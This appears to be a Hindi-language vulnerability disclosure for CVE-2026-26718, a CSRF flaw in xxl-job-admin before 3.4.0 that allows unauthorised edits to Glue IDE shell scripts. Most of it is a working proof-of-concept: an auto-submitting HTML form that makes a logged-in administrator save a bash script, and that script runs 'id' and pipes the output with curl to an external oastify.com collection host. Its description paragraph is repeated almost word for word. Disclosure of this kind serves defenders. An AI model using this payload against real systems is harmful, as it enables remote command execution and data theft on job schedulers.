ibrahim-sartawi/cve-2026-26718
xxl-job-admin वेब एप्लिकेशन में एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता मौजूद है जो किसी हमलावर को Glue IDE शेल स्क्रिप्ट में अनधिकृत संशोधन करने की अनुमति देती है। प्रभावित एंडपॉइंट में उचित CSRF टोकन सत्यापन का अभाव है और यह एक अनुमेय रिक्वेस्ट मैपिंग के माध्यम से मनमाने HTTP तरीकों को स्वीकार करता है।
xxl-job-admin वेब एप्लिकेशन में क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) कमजोरी मौजूद है जो हमलावर को Glue IDE शेल स्क्रिप्ट्स में अनधिकृत संशोधन करने की अनुमति देती है। प्रभावित एंडपॉइंट में उचित CSRF टोकन सत्यापन का अभाव है और एक अनुमत रिक्वेस्ट मैपिंग के माध्यम से मनमाने HTTP तरीकों को स्वीकार करता है।
xxl-job < 3.4.0
एक हमलावर प्रमाणित व्यवस्थापक को Glue IDE शेल स्क्रिप्ट्स में अनधिकृत परिवर्तन करने के लिए धोखा दे सकता है।
// Decode and change it
<html>
<body>
<form action="https://domain.com/jobcode/save">
<input type="hidden" name="id" value="294" />
<input type="hidden" name="glueSource" value="#!/bin/bash id | curl -d @- http://qic8br6d6om2j459zk4evuimldr4f03p.oastify.com  exit 0 " />
<input type="hidden" name="glueRemark" value="12345" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
श्रेय Ibrahim Sartawi